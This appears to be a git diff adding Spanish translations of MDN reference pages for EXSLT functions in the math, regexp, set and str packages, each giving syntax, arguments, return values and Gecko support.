+<p>El paquete Regular Expressions de EXSLT proporciona funciones que permiten comprobar, buscar coincidencias y reemplazar texto usando expresiones regulares en estilo JavaScript.</p>
+
+<p>El espacio de nombres del paquete Regular Expressions es <code><span class="nowiki">http://exslt.org/regular-expressions</span></code>.</p>
+
+<h4 id="Funciones_3" name="Funciones_3">Funciones</h4>
+
+<ul>
+ <li><a href="es/EXSLT/regexp/match">regexp:match</a></li>
+ <li><a href="es/EXSLT/regexp/replace">regexp:replace</a></li>
+ <li><a href="es/EXSLT/regexp/test">regexp:test</a></li>
+</ul>
+
+<h3 id="Sets" name="Sets">Sets</h3>
+
+<p>El paquete Sets de EXSLT ofrece funciones que permiten realizar operaciones con set. El espacio de nombres para estas funciones es <code><span class="nowiki">http://exslt.org/sets</span></code>.</p>
+
+<h4 id="Funciones_4" name="Funciones_4">Funciones</h4>
+
+<ul>
+ <li><a href="es/EXSLT/set/difference">set:difference</a></li>
+ <li><a href="es/EXSLT/set/distinct">set:distinct</a></li>
+ <li><a href="es/EXSLT/set/intersection">set:intersection</a></li>
+ <li><a href="es/EXSLT/set/has-same-node">set:has-same-node</a></li>
+ <li><a href="es/EXSLT/set/leading">set:leading</a></li>
+ <li><a href="es/EXSLT/set/trailing">set:trailing</a></li>
+</ul>
+
+<h3 id="Strings" name="Strings">Strings</h3>
+
+<p>El paquete Strings de EXSLT proporciona funciones que permiten la manipulación de cadenas. El espacio de nombres para el paquete Strings es <code><span class="nowiki">http://exslt.org/sets</span></code>.</p>
+
+<h4 id="Funciones_5" name="Funciones_5">Funciones</h4>
+
+<ul>
+ <li><a href="es/EXSLT/str/concat">str:concat</a></li>
+ <li><a href="es/EXSLT/str/split">str:split</a></li>
+ <li><a href="es/EXSLT/str/tokenize">str:tokenize</a></li>
+</ul>
+
+<h3 id="Vea_tambi.C3.A9n" name="Vea_tambi.C3.A9n">Vea también</h3>
+
+<ul>
+ <li><a class="external" href="http://www.exslt.org/">EXSLT web site</a></li>
+</ul>
diff --git a/files/es/web/exslt/math/highest/index.html b/files/es/web/exslt/math/highest/index.html
new file mode 100644
index 0000000000..0a41b67d23
--- /dev/null
+++ b/files/es/web/exslt/math/highest/index.html
@@ -0,0 +1,37 @@
+---
+title: highest
+slug: Web/EXSLT/math/highest
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/math/highest
+---
+<p>{{XsltRef}} {{ Fx_minversion_header(3) }}<br>
+ <code>math:highest()</code> devuelve el nodo con el valor más alto (donde el valor más alto se calcula usando <code><a href="es/EXSLT/math/max">math:max()</a></code>) del conjunto de nodos (node-set) especificado.</p>
+
+<p>Un nodo tiene este valor máximo si convierte su valor de cadena a un número igual al valor máximo.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">math:highest(<em>conjuntoNodos</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos</em></code></dt>
+ <dd>El conjunto de nodos cuyo valor más alto va a ser devuelto.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un fragmento de árbol resultante que consiste en las copias de los nodos devueltos por <code><a href="es/EXSLT/math/max">math:max()</a></code>.</p>
+
+<h2 id="Definido_en" name="Definido_en">Definido en</h2>
+
+<p><a class="external" href="http://www.exslt.org/math/functions/highest/index.html">EXSLT - MATH:HIGHEST</a></p>
+
+<h2 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h2>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/math/index.html b/files/es/web/exslt/math/index.html
new file mode 100644
index 0000000000..fe412ed7d8
--- /dev/null
+++ b/files/es/web/exslt/math/index.html
@@ -0,0 +1,6 @@
+---
+title: math
+slug: Web/EXSLT/math
+translation_of: Web/EXSLT/math
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/es/web/exslt/math/lowest/index.html b/files/es/web/exslt/math/lowest/index.html
new file mode 100644
index 0000000000..a8ba40c0dc
--- /dev/null
+++ b/files/es/web/exslt/math/lowest/index.html
@@ -0,0 +1,37 @@
+---
+title: lowest
+slug: Web/EXSLT/math/lowest
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/math/lowest
+---
+<p>{{XsltRef}} {{ Fx_minversion_header(3) }}<br>
+ <code>math:lowest()</code> devuelve el nodo del conjunto de nodos (node-set) especificado con el valor más bajo (donde el valor más bajo se calcula usando <code><a href="es/EXSLT/math/min">math:min()</a></code>).</p>
+
+<p>Un nodo tiene este valor mínimo si convirtiendo su valor de cadena a número iguala el valor mínimo.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">math:lowest(<em>conjuntoNodos</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos</em></code></dt>
+ <dd>El conjunto de nodos cuyo valor más bajo va a ser devuelto.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un fragmento de árbol resultante que consiste en la copia de los nodos devueltos por <code><a href="es/EXSLT/math/min">math:min()</a></code>.</p>
+
+<h2 id="Definido_en" name="Definido_en">Definido en</h2>
+
+<p><a class="external" href="http://www.exslt.org/math/functions/lowest/index.html">EXSLT - MATH:LOWEST</a></p>
+
+<h2 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h2>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/math/max/index.html b/files/es/web/exslt/math/max/index.html
new file mode 100644
index 0000000000..d87424480a
--- /dev/null
+++ b/files/es/web/exslt/math/max/index.html
@@ -0,0 +1,37 @@
+---
+title: max
+slug: Web/EXSLT/math/max
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/math/max
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}<br>
+ <code>math:max()</code> devuelve el valor máximo de un conjunto de nodos (node-set).</p>
+
+<p>To compute the maximum value of the node-set, the node set is sorted into descending order as it would be using <code><a href="es/XSLT/sort">xsl:sort()</a></code> with a data type of <code>number</code>. The maximum value is then the first node in the sorted list, converted into a number.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">math:max(<em>conjuntoNodos</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos</em></code></dt>
+ <dd>El conjunto de nodos cuyo valor más alto va a ser devuelto.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un fragmento de árbol resultante que representa como una cadena el valor numérico del nodo valorado como más alto.</p>
+
+<h2 id="Definido_en" name="Definido_en">Definido en</h2>
+
+<p><a class="external" href="http://www.exslt.org/math/functions/max/index.html">EXSLT - MATH:MAX</a></p>
+
+<h2 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h2>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/math/min/index.html b/files/es/web/exslt/math/min/index.html
new file mode 100644
index 0000000000..7ed975a28c
--- /dev/null
+++ b/files/es/web/exslt/math/min/index.html
@@ -0,0 +1,39 @@
+---
+title: min
+slug: Web/EXSLT/math/min
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/math/min
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>math:min()</code> devuelve el valor mínimo de un conjunto de nodos (node-set).</p>
+
+<p>Para calcular el valor mínimo de un conjunto de nodos, el conjunto de nodos se ordena en orden ascendente como se haría usando <code><a href="es/XSLT/sort">xsl:sort()</a></code> con datos de tipo <code>number</code> (numéricos). Entonces el valor mínimo será el primer nodo de la lista ordenada, convertido en número.</p>
+
+<h2 id="Sintaxis" name="Sintaxis">Sintaxis</h2>
+
+<pre class="eval">math:min(<em>conjuntoNodos</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos</em></code></dt>
+ <dd>El conjunto de nodos cuyo valor más bajo se va a devolver.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un fragmento de árbol resultante que representa como una cadena el valor numérico del nodo valorado más bajo.</p>
+
+<h2 id="Definido_en" name="Definido_en">Definido en</h2>
+
+<p><a class="external" href="http://www.exslt.org/math/functions/min/index.html">EXSLT - MATH:MIN</a></p>
+
+<h2 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h2>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/regexp/index.html b/files/es/web/exslt/regexp/index.html
new file mode 100644
index 0000000000..a1bd49b06a
--- /dev/null
+++ b/files/es/web/exslt/regexp/index.html
@@ -0,0 +1,6 @@
+---
+title: regexp
+slug: Web/EXSLT/regexp
+translation_of: Web/EXSLT/regexp
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/es/web/exslt/regexp/match/index.html b/files/es/web/exslt/regexp/match/index.html
new file mode 100644
index 0000000000..2b735f17d8
--- /dev/null
+++ b/files/es/web/exslt/regexp/match/index.html
@@ -0,0 +1,67 @@
+---
+title: match
+slug: Web/EXSLT/regexp/match
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/regexp/match
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>regexp:match()</code> realiza la búsqueda de coincidencias de una expresión regular en una cadena, devolviendo las subcoincidencias halladas como resultado.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">regexp:match(<em>objetivo</em>,<em>expresionRegular</em>[[,<em>opciones</em>]])
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>objetivo</em></code></dt>
+ <dd>Cadena sobre la que se realiza la búsqueda de coincidencias con la expresión regular.</dd>
+ <dt><code><em>expresionRegular</em></code></dt>
+ <dd>Expresión regular a evaluar en estilo JavaScript.</dd>
+ <dt><code><em>opciones</em></code></dt>
+ <dd>Cadena opcional que contiene los caracteres con opciones.</dd>
+</dl>
+
+<p>Los caracteres con opciones son:</p>
+
+<dl>
+ <dt><code>g</code> - Coincidencia global</dt>
+ <dd>Se devuelven las subcoincidencias de cada coincidencia en la cadena. Si esta opción no se especifica, sólo se devolverán las subcoincidencias del primer emparejamiento.</dd>
+ <dt><code>i</code> - Coincidencia sin importar las mayúsculas</dt>
+ <dd>Si se especifica esta opción, el emparejamiento se realiza de modo que no se tenga encuenta las mayúsculas.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos de elementos <code>match</code>, cada uno de los cuales tiene un valor de tipo cadena igual a la porción del primer parámetro de la cadena capturado por la expresión regular. Si la coincidencia no es de tipo global, el primer elemento match tiene el valor de la porción de cadena que coincide con la expresión regular completa.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="eval">&lt;xsl:for-each select="regExp:match('<span class="nowiki">http://developer.mozilla.org/en/docs/Firefox_3_for_developers</span>',
+                                   '(\w+):\/\/([^/:]+)(:\d*)?([^# ]*)')"&gt;
+   Parte &lt;xsl:value-of select="position()" /&gt; = &lt;xsl:value-of select="." /&gt;
+&lt;/xsl:for-each&gt;
+</pre>
+
+<p>Este código genera el siguiente resultado:</p>
+
+<pre class="eval">Parte 1 = <span class="nowiki">http://developer.mozilla.org/en/docs/Firefox_3_for_developers</span>
+Parte 2 = http
+Parte 3 = developer.mozilla.org
+Parte 4 =
+Parte 5 = /en/docs/Firefox_3_for_developers
+</pre>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/regexp/functions/match/index.html">EXSLT - REGEXP:MATCH</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/regexp/replace/index.html b/files/es/web/exslt/regexp/replace/index.html
new file mode 100644
index 0000000000..a0528d8348
--- /dev/null
+++ b/files/es/web/exslt/regexp/replace/index.html
@@ -0,0 +1,52 @@
+---
+title: replace
+slug: Web/EXSLT/regexp/replace
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/regexp/replace
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>regexp:replace()</code> reemplaza porciones de una cadena que coincide con la expresión regular dada por el contenido de otra cadena.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">regexp:replace(<em>original</em>,<em>expresionRegular</em>,<em>reemplazo</em>[,<em>opciones</em>])
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code><em>original</em></code></dt>
+ <dd>Cadena sobre la que se realiza la operación de búsqueda y reemplazo.</dd>
+ <dt><code><em>expresionRegular</em></code></dt>
+ <dd>Expresión regular a evaluar en estilo JavaScript.</dd>
+ <dt><code><em>reemplazo</em></code></dt>
+ <dd>Cadena con la que las subcadenas coincidentes serán reemplazadas.</dd>
+ <dt><code><em>opciones</em></code></dt>
+ <dd>Una cadena opcional que contiene caracteres con las opciones.</dd>
+</dl>
+
+<p>Los caracteres de opciones son:</p>
+
+<dl>
+ <dt><code>g</code> - Reemplazo global</dt>
+ <dd>Si se especifica esta opción, todas las ocurrencias de la expresión regular dentro de <code><em>original</em></code> serán reemplazadas. De otro modo sólo se reemplaza la primera ocurrencia.</dd>
+ <dt><code>i</code> - Coincidencia sin importar mayúsculas</dt>
+ <dd>Si se especifica esta opción, el emparejamiento se realiza de modo que no importen las mayúsculas.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>La versión revisada de la cadena.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/regexp/functions/replace/index.html">EXSLT - REGEXP:REPLACE</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/regexp/test/index.html b/files/es/web/exslt/regexp/test/index.html
new file mode 100644
index 0000000000..1d8f059f07
--- /dev/null
+++ b/files/es/web/exslt/regexp/test/index.html
@@ -0,0 +1,50 @@
+---
+title: test
+slug: Web/EXSLT/regexp/test
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/regexp/test
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>regexp:test()</code> comprueba si una cadena coincide con una expresión regular especificada.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">regexp:test(<em>comprobacion</em>,<em>expresionRegular</em>[,<em>opciones</em>])
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>comprobacion</em></code></dt>
+ <dd>Cadena a comprobar.</dd>
+ <dt><code><em>expresionRegular</em></code></dt>
+ <dd>Expresión regular a evaluar en estilo JavaScript.</dd>
+ <dt><code><em>opciones</em></code></dt>
+ <dd>Cadena opcional que contiene los caracteres con opciones.</dd>
+</dl>
+
+<p>Los caracteres con opciones son:</p>
+
+<dl>
+ <dt><code>g</code> - Coincidencia global</dt>
+ <dd>No tiene efecto para esta función; se permite para mantener la consistencia con otras funciones relacionadas con expresiones regulares.</dd>
+ <dt><code>i</code> - Coincidencia sin importar mayúsculas</dt>
+ <dd>Si se especifica esta opción el emparejamiento se realiza sin tener en cuenta las mayúsculas.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p><code>true</code> si la expresión regular especificada coincide on la cadena de comprobación.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/regexp/functions/test/index.html">EXSLT - REGEXP:TEST</a></p>
+
+<h3 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/set/difference/index.html b/files/es/web/exslt/set/difference/index.html
new file mode 100644
index 0000000000..43d7589ed8
--- /dev/null
+++ b/files/es/web/exslt/set/difference/index.html
@@ -0,0 +1,41 @@
+---
+title: difference
+slug: Web/EXSLT/set/difference
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/set/difference
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:difference()</code> devuelve la diferencia entre dos conjuntos de nodos. En otras palabras, devuelve un cojunto de nodos cuyos nodos están en uno de los conjuntos pero no en el otro.</p>
+
+<p>La versión de plantilla de <code>set:difference</code> aplica plantillas a estos nodos en el modo de <code>set:difference</code>, copiando los nodos de modo que se devuelva el fragmento de árbol resultante consistente en los nodos.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">set:difference(<em>conjuntoNodos1</em>,<em>conjuntoNodos2</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos1</em></code></dt>
+ <dd>El conjunto de nodos desde el cual se sustraen los nodos.</dd>
+ <dt><code><em>conjuntoNodos2</em></code></dt>
+ <dd>El conjunto de nodos a sustraer de<em>conjuntoNodos1</em>.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos que contiene los nodos que están en<em>conjuntoNodos1</em> pero no en<em>conjuntoNodos2</em>.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/set/functions/difference/index.html">EXSLT - SET:DIFFERENCE</a></p>
+
+<h3 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/set/distinct/index.html b/files/es/web/exslt/set/distinct/index.html
new file mode 100644
index 0000000000..1d01f8f163
--- /dev/null
+++ b/files/es/web/exslt/set/distinct/index.html
@@ -0,0 +1,37 @@
+---
+title: distinct
+slug: Web/EXSLT/set/distinct
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/set/distinct
+---
+<p>{{XsltRef}} {{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:distinct()</code> devuelve un subconjunto de los nodos del conjunto de nods especificado, devolviendo sólo los nodos con valores de texto únicos.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">set:distinct(<em>conjuntoNodos</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos</em></code></dt>
+ <dd>El conjunto de nodos en el que hallar nodos únicos.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos que contiene los nodos que tienen valores de texto únicos.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/set/functions/distinct/index.html">EXSLT - SET:DISTINCT</a></p>
+
+<h3 id="Implementaci.C3.B3n_en_Gecko" name="Implementaci.C3.B3n_en_Gecko">Implementación en Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/set/has-same-node/index.html b/files/es/web/exslt/set/has-same-node/index.html
new file mode 100644
index 0000000000..4a11da5481
--- /dev/null
+++ b/files/es/web/exslt/set/has-same-node/index.html
@@ -0,0 +1,39 @@
+---
+title: has-same-node
+slug: Web/EXSLT/set/has-same-node
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/set/has-same-node
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:has-same-node()</code> determina si dos conjuntos de nodos tienen algún nodo en común.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">set:has-same-node(<em>conjuntoNodos1</em>,<em>conjuntoNodos2</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos1</em></code></dt>
+ <dd>El primer conjunto de nodos a revisar.</dd>
+ <dt><code><em>conjuntoNodos2</em></code></dt>
+ <dd>El segundo conjunto de nodos a revisar.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p><code>true</code> si los dos conjuntos de nodos tienen algún nodo en común; de otro modo <code>false</code>.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/set/functions/has-same-node/index.html">EXSLT - SET:HAS-SAME-NODE</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/set/index.html b/files/es/web/exslt/set/index.html
new file mode 100644
index 0000000000..12472e6d27
--- /dev/null
+++ b/files/es/web/exslt/set/index.html
@@ -0,0 +1,6 @@
+---
+title: set
+slug: Web/EXSLT/set
+translation_of: Web/EXSLT/set
+---
+<p>{{wiki.localize('System.API.page-generated-for-subpage')}}</p>
diff --git a/files/es/web/exslt/set/intersection/index.html b/files/es/web/exslt/set/intersection/index.html
new file mode 100644
index 0000000000..89593357d6
--- /dev/null
+++ b/files/es/web/exslt/set/intersection/index.html
@@ -0,0 +1,39 @@
+---
+title: intersection
+slug: Web/EXSLT/set/intersection
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/set/intersection
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:intersection()</code> devuelve la intersección de dos conjuntos de nodos. En otras palabras, devuelve un conjunto de nodos que contiene todos los nodos de ambos conjuntos de nodos.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">set:intersection(<em>conjuntoNodos1</em>,<em>conjuntoNodos2</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos1</em></code></dt>
+ <dd>El primer conjunto de nodos.</dd>
+ <dt><code><em>conjuntoNodos2</em></code></dt>
+ <dd>El segundo conjunto de nodos.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos que contiene todos los nodos tanto de<em>conjuntoNodos1</em> como de<em>conjuntoNodos2</em>.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/set/functions/intersection/index.html">EXSLT - SET:INTERSECTION</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/set/leading/index.html b/files/es/web/exslt/set/leading/index.html
new file mode 100644
index 0000000000..2101f32243
--- /dev/null
+++ b/files/es/web/exslt/set/leading/index.html
@@ -0,0 +1,41 @@
+---
+title: leading
+slug: Web/EXSLT/set/leading
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/set/leading
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:leading()</code> devuelve los nodos de un conjunto de nodos que viene antes del primer nodo del otro conjunto de nodos.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">set:leading(<em>conjuntoNodos1</em>,<em>conjuntoNodos2</em>)
+</pre>
+
+<h3 id="Arguments" name="Arguments">Arguments</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos1</em> </code></dt>
+ <dd>El conjunto de nodos en el que hallar los nodos que preceden al primer nodo del segundo conjunto de nodos.</dd>
+ <dt><code><em>conjuntoNodos2</em> </code></dt>
+ <dd>El conjunto de nodos contra el que se compara.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos que contiene los nodos del <code><em>conjuntoNodos1</em> </code> cuyos valores preceden al primer nodo del <code><em>conjuntoNodos2</em> </code>.</p>
+
+<p>{{NoteStart}}Si el primer nodo del <code><em>conjuntoNodos2</em> </code> no está contenido en <code><em>conjuntoNodos1</em> </code>, de devuelve un conjunto de nodos vacío. Si <code><em>conjuntoNodos2</em> </code> está vacío, entonces el resultado es <code><em>conjuntoNodos1</em> </code>.{{NoteEnd}}</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/set/functions/leading/index.html">EXSLT - SET:LEADING</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/set/trailing/index.html b/files/es/web/exslt/set/trailing/index.html
new file mode 100644
index 0000000000..709236480f
--- /dev/null
+++ b/files/es/web/exslt/set/trailing/index.html
@@ -0,0 +1,41 @@
+---
+title: trailing
+slug: Web/EXSLT/set/trailing
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/set/trailing
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>set:trailing()</code> devuelve los nodos de un conjunto de nodos que vienen después del primer nodo de otro conjunto de nodos.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">set:trailing(<em>conjuntoNodos1</em>,<em>conjuntoNodos2</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos1</em> </code></dt>
+ <dd>El conjunto de nodos en el que hallar los nodos que siguen al primer nodo del segundo conjunto de nodos.</dd>
+ <dt><code><em>conjuntoNodos2</em> </code></dt>
+ <dd>El conjunto de nodos contra el que se compara.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Un conjunto de nodos que contiene los nodos del <code><em>conjuntoNodos1</em> </code> cuyos valores siguen al primer nodo del <code><em>conjuntoNodos2</em> </code>.</p>
+
+<p>{{NoteStart}}Si el primer nodo en <code><em>conjuntoNodos2</em> </code> no está contenido en <code><em>conjuntoNodos1</em> </code>, se devuelve un conjunto de nodos vacío. Si <code><em>conjuntoNodos2</em> </code> está vacío, entonces el resultado es el <code><em>conjuntoNodos1</em> </code>.{{NoteEnd}}</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/set/functions/trailing/index.html">EXSLT - SET:TRAILING</a></p>
+
+<h3 id="Implementaci.C3.B3n_de_Gecko" name="Implementaci.C3.B3n_de_Gecko">Implementación de Gecko</h3>
+
+<p>Implementado en Gecko 1.9 y posteriores.</p>
diff --git a/files/es/web/exslt/str/concat/index.html b/files/es/web/exslt/str/concat/index.html
new file mode 100644
index 0000000000..5db07eb8d9
--- /dev/null
+++ b/files/es/web/exslt/str/concat/index.html
@@ -0,0 +1,37 @@
+---
+title: concat
+slug: Web/EXSLT/str/concat
+tags:
+  - EXSLT
+  - Todas_las_Categorías
+  - XSLT
+translation_of: Web/EXSLT/str/concat
+---
+<p>{{XsltRef}}{{ Fx_minversion_header(3) }}</p>
+
+<p><br>
+ <code>str:concat()</code> devuelve una cadena que contiene todos los valores cadena de un conjunto de nodos (node-set) concatenados juntos.</p>
+
+<h3 id="Sintaxis" name="Sintaxis">Sintaxis</h3>
+
+<pre class="eval">str:concat(<em>conjuntoNodos</em>)
+</pre>
+
+<h3 id="Argumentos" name="Argumentos">Argumentos</h3>
+
+<dl>
+ <dt><code><em>conjuntoNodos</em></code></dt>
+ <dd>El conjunto de nodos cuyos valores de cadena de los nodos deberían ser concatenados en una cadena.</dd>
+</dl>
+
+<h3 id="Devuelve" name="Devuelve">Devuelve</h3>
+
+<p>Una cadena cuyo valor es el de todos los valores cadena de los nodos de <code><em>conjuntoNodos</em></code> concatenados juntos. Si <code><em>conjuntoNodos</em></code> está vacío, se devuelve una cadena vacía.</p>
+
+<h3 id="Definido_en" name="Definido_en">Definido en</h3>
+
+<p><a class="external" href="http://www.exslt.org/str/functions/concat/index.html">EXSLT - STR:CONCAT</a></p>
+
